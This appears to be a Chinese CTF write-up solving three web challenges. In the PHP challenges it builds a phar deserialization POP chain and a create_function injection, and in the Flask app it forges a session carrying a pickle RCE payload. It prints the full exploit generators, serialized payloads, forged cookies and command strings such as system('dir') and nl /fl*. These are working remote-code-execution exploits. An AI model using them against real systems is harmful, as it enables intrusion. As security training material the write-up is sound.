myweb
题解
这道题目有点可惜,思路是对的,代码那一处少了;导致没执行成功,这里有报错是正常的,代码还是正常执行了的。
先是扫描了一下,发现user.json,给了账号密码,登上去就是一个上传的接口。然后还给了一个读文件的接口/show.php?file=xxx.jpg,到这里有两个思路:1.图片马 2.phar反序列化。图片马这里是打不通的,因为这里是file_get_content是读文件内容。而不是直接包含。
通过/show.php?file=show.php可以直接拿到show.php的源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| <?php class sing{ public $apple; public $range; public function __destruct() { if($this->range == "range"){ echo "apple is ?".$this->apple; } } }
class song{ public $banana; public $abble; public function __toString() { if($this->abble == "abble"){ return $this->banana->ernb(); } } }
class rap{ public $text; public function __call($name, $arguments) { return $this->text->aaabbb; } }
class basketball{ public $payload; public function __get($name) { if(!preg_match("/flag|system|php|cat|eval|tac|sort|shell|%|~|\\^|\\.|\'/i", $this->payload)){ @eval($this->payload); } } }
if (isset($_GET['file'])) { $imagePath = $_GET['file']; if (preg_match("/(\/flag|\/fl|\/f|sort)/i", $imagePath)){ exit(); }
$imageData = file_get_contents($imagePath);
if ($imageData !== false) {
$finfo = finfo_open(FILEINFO_MIME_TYPE); $mimeType = finfo_buffer($finfo, $imageData); finfo_close($finfo);
header("Content-Type: $mimeType"); echo $imageData; exit; } else { echo "Image cannot be read."; } } ?>
|
像这种直接给了源码的,有链子的,phar反序列化无疑了。。。
构造链子poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| <?php class sing{ public $apple; public $range="range"; public function __construct() { $this->apple=new song(); } }
class song{ public $banana; public $abble="abble"; public function __construct() { $this->banana=new rap(); }
}
class rap{ public $text; public function __construct() { $this->text=new basketball(); } }
class basketball{ public $payload='passthru("dir");'; public function __get($name) { if(!preg_match("/flag|system|php|cat|eval|tac|sort|shell|%|~|\\^|\\.|\'/i", $this->payload)){ @eval($this->payload); } } }
$phar=new Phar("hack100.phar"); $phar->startBuffering(); $phar->setStub("GIF89a<?php __HALT_COMPILER();?>"); $phar->setMetadata(new sing()); $phar->addFromString("text.txt","hello,phar!"); $phar->stopBuffering(); ?>
|
生成的phar文件改一下后缀成jpg,然后上传,最后通过/show.php?file=phar://./uploads/hack100.jpg触发。
1 2 3
| 最终拿flag://linux下 $payload='passthru("nl /fl*");';或者 $payload='echo `nl /fl*`;';
|
反思
payload那里没有加分号,导致代码没有执行,加上有报错信息以为生成的phar文件有问题。
Collect
题解
这个题目也是给了源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| <?php show_source(__FILE__);
class safe { public $password; public function __destruct() {
echo $this->password; } }
class unsafe { public $username; public function __toString() { $action = $_GET['action'] ?: ''; $arg = $_GET['arg'] ?: ''; $this->username = $this->username . "hack me!"; echo $this->username; if (preg_match('/^[a-z0-9_]*$|\n/isD', $action)) { echo "Do it another way"; } else { if (substr(md5($this->username), 0, 5) == 'ae471') { echo "can call dangerous syscall"; $action('', $arg); } } return "__toString was called!"; } } if (isset($_POST["unsafe"])) { unserialize($_POST["unsafe"]); } ?>
|
链子很简单,主要就是绕过两个地方:substr(md5($this->username), 0, 5) == 'ae471'和preg_match('/^[a-z0-9_]*$|\n/isD', $action)。
这里第一处直接可以写脚本来爆破,不过需要注意的是这里的username是拼接了hack me!的。python脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| import hashlib def find_string_with_md5_prefix(prefix): i = 0 while True: current_string = str(i) current_string=current_string+'hack me!'
md5_hash = hashlib.md5(current_string.encode('utf-8')).hexdigest()
if md5_hash[:5] == prefix: return current_string, md5_hash
i += 1
prefix = 'ae471' result_string, md5_value = find_string_with_md5_prefix(prefix)
print(f"Found string: {result_string}") print(f"MD5 Hash: {md5_value}")
|
很快就找到了一个可以用的:519651。接下来就是利用$action('', $arg);,这里后面看了网上类似的WP发现是要用create_function,但是因为有preg_match('/^[a-z0-9_]*$|\n/isD', $action)的限制,所以直接create_function过不掉。
这里查阅资料,可以用\来绕过。 让$action=\create_function,就会变成 function lamba(){$arg},这种形式,我们就让$arg=return;}system('dir');//来进行拼接。
生成序列化字符串的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php class safe { public $password; public function __construct() { $this->password = new unsafe(); }
} class unsafe { public $username; public function __construct() { $this->username = 519651; } } $a=new safe(); echo serialize($a); ?>
|
最终的poc:
1 2 3
| http://127.0.0.1/Collect/index.php?action=\create_function&arg=return;}system("dir");// post传: unsafe=O:4:"safe":1:{s:8:"password";O:6:"unsafe":1:{s:8:"username";i:519651;}}
|
注意:这里的create_function比较特殊,可以用参数来进行闭合和拼接。其他不行。
easy flask
题解
听说是python的pickle反序列化。待填坑。这个题目考察的flask的session伪造+pickle反序列化RCE
给了源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97
| from flask import Flask, request, render_template, redirect, url_for, session, send_from_directory import os import pickle import base64
app = Flask(__name__) app.secret_key = 's3cr3t_Key_Y0u_Nev3r_GuesS'
USERS_DIR = "users"
if not os.path.exists(USERS_DIR): os.makedirs(USERS_DIR)
@app.route('/reg', methods=['POST']) def register(): username = request.form.get('username') password = request.form.get('password') user_data = { 'username': username, 'password': password, } user_file = os.path.join(USERS_DIR, base64.b64encode(username.encode('utf-8')).decode('utf-8') + '.data') print(user_data) with open(user_file, 'wb') as file: pickle.dump(user_data, file)
return "Registration successful"
@app.route('/register') def register_page(): return render_template('register.html')
@app.route('/login', methods=['POST']) def login(): username = request.form.get('username') password = request.form.get('password') user_file = os.path.join(USERS_DIR, base64.b64encode(username.encode('utf-8')).decode('utf-8') + '.data')
if os.path.exists(user_file): with open(user_file, 'rb') as file: stored_data = pickle.load(file) if password == stored_data['password']: session['data'] = base64.b64encode(pickle.dumps(stored_data)).decode('utf-8') return redirect(url_for('index'))
return "Login failed"
@app.route('/index') def index(): data = session.get('data', None) if data: data = base64.b64decode(data) if b'R' in data or b'built' in data or b'setstate' in data: return "hacker???" user_data = pickle.loads(data) username = user_data['username'] return render_template('index.html', username=username) else: return redirect(url_for('login_page'))
@app.route('/') def login_page(): return render_template('login.html')
@app.route('/logout', methods=['POST']) def logout(): session.pop('data', None) return redirect(url_for('login_page'))
@app.route('/cache') def download_cache_file(): cache_file_path = os.path.join('__pycache__', 'app.cpython-38.pyc')
if os.path.exists(cache_file_path): return send_from_directory(os.path.dirname(cache_file_path), os.path.basename(cache_file_path), as_attachment=True) else: return "Cache file not found"
if __name__ == '__main__': app.run(host='0.0.0.0')
|
代码量不大,可以看下逻辑,首先是注册路由那里:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| @app.route('/reg', methods=['POST']) def register(): username = request.form.get('username') password = request.form.get('password') user_data = { 'username': username, 'password': password, } user_file = os.path.join(USERS_DIR, base64.b64encode(username.encode('utf-8')).decode('utf-8') + '.data') print(user_data) with open(user_file, 'wb') as file: pickle.dump(user_data, file)
return "Registration successful"
|
获取表单username和password的值,然后以json的格式做序列化操作,把序列化之后的内容,以base64编码的username,加上后缀.data进行命名,放到users文件夹下。比如这里我在注册页面输入username=1,password=1。就会在/users下生成一个MQ==.data文件。内容就是user_data序列化之后的。
然后再去看登录路由:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| @app.route('/login', methods=['POST']) def login(): username = request.form.get('username') password = request.form.get('password') user_file = os.path.join(USERS_DIR, base64.b64encode(username.encode('utf-8')).decode('utf-8') + '.data')
if os.path.exists(user_file): with open(user_file, 'rb') as file: stored_data = pickle.load(file) if password == stored_data['password']: session['data'] = base64.b64encode(pickle.dumps(stored_data)).decode('utf-8') return redirect(url_for('index'))
return "Login failed"
|
同样的,也是先获取表单username和password的值,然后这里会把password的值和MQ==.data反序列化之后password字段的值做比较,如果相等,则登录成功,并且有个赋值操作: session['data'] = base64.b64encode(pickle.dumps(stored_data)).decode('utf-8'),这里就是把stored_data的内容进行序列化然后再base64加密一下,这里stored_data的内容就是前面注册那里的user_data的内容。这里很重要,是我们后面去伪造session数据进行反序列化RCE的关键。
最后再看漏洞的触发点,也就是首页路由:
1 2 3 4 5 6 7 8 9 10 11 12 13
| @app.route('/index') def index(): data = session.get('data', None) if data: data = base64.b64decode(data) if b'R' in data or b'built' in data or b'setstate' in data: return "hacker???" user_data = pickle.loads(data) username = user_data['username'] return render_template('index.html', username=username) else: return redirect(url_for('login_page'))
|
这里我一开始看了哈工大一个同学写的文章,它上面提到的手法,这里都给过滤了,以为就不能RCE了,后面去找了些其他的文章,发现i,O,S也是可以RCE的,比如这里的payload=b'''(S'ls'\nios\nsystem\n.''',我本地也尝试了一下,发现是可行的:

可以看到成功执行了ls命令。所以只要这里的data可控,我们就可以通过pickle.loads(data)来RCE了。那么data是不是可控的呢?答案是的。
这里的data = session.get('data', None),即data=session[data],然后这里也给了app.secret_key = 's3cr3t_Key_Y0u_Nev3r_GuesS',flask的session是存在本地的,我们可以看到:

比如我本地测试的session数据为:eyJkYXRhIjoiZ0FTVklRQUFBQUFBQUFCOWxDaU1DSFZ6WlhKdVlXMWxsSXdCTVpTTUNIQmhjM04zYjNKa2xHZ0NkUzQ9In0.Z4tS0Q.X3jNUkjSknYN_3-2t8ubhmkOMdc,一开始不知道这样的一个生成格式,但是稍微做了一个尝试,就可以猜到了,这里可以base64解码一下:

其实可以看出,前半部分eyJkYXRhIjoiZ0FTVklRQUFBQUFBQUFCOWxDaU1DSFZ6WlhKdVlXMWxsSXdCTVpTTUNIQmhjM04zYjNKa2xHZ0NkUzQ9In0,对应的就是{“data”:”base64加密”}的这样的数据形式,.之后的数据就是附带上的签名啥的。
所以我们可以有两种方式来构造session,把原来的app.py代码copy部分过来,本地再起一个app.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| from flask import Flask, request, render_template, redirect, url_for, session, send_from_directory import os import pickle import base64 app = Flask(__name__) app.secret_key = 's3cr3t_Key_Y0u_Nev3r_GuesS' app.debug = True app.config['DEBUG'] = True
USERS_DIR = "users"
@app.route('/payload', methods=['GET']) def login(): session['data'] = base64.b64encode(b'''(S'calc'\nios\nsystem\n.''').decode('utf-8') return "Registration successful" if __name__ == '__main__': app.run(host='0.0.0.0',debug=True,port=5005)
|
把这里的session[‘data’]数据改写成我们的payload, session['data'] = base64.b64encode(b'''(S'calc'\nios\nsystem\n.''').decode('utf-8')。然后访问:

我们把生成的cookieeyJkYXRhIjoiS0ZNblkyRnNZeWNLYVc5ekNuTjVjM1JsYlFvdSJ9.Z4tVuA.aCbLwOZ2qdStMMgDsbAIVuGXbTk直接做替换,放到我们原来的环境去打:
注意,这里是get请求,发送过去即可:

第二种方式就是建立在你有伪造脚本的情况:

把生成的session[data]放到脚本上面去伪造,生成session:
python3 flask_session_cookie_manager3.py encode -s "s3cr3t_Key_Y0u_Nev3r_GuesS" -t '{"data":"KFMnY2FsYycKaW9zCnN5c3RlbQou"}'

生成的eyJkYXRhIjoiS0ZNblkyRnNZeWNLYVc5ekNuTjVjM1JsYlFvdSJ9.Z4taTQ.QENfsCMsjjyCXgB0b4Jx0waJL0g丢到cookie里面发包也可以RCE:

后记
该花一段时间去好好整理一下python相关的漏洞了。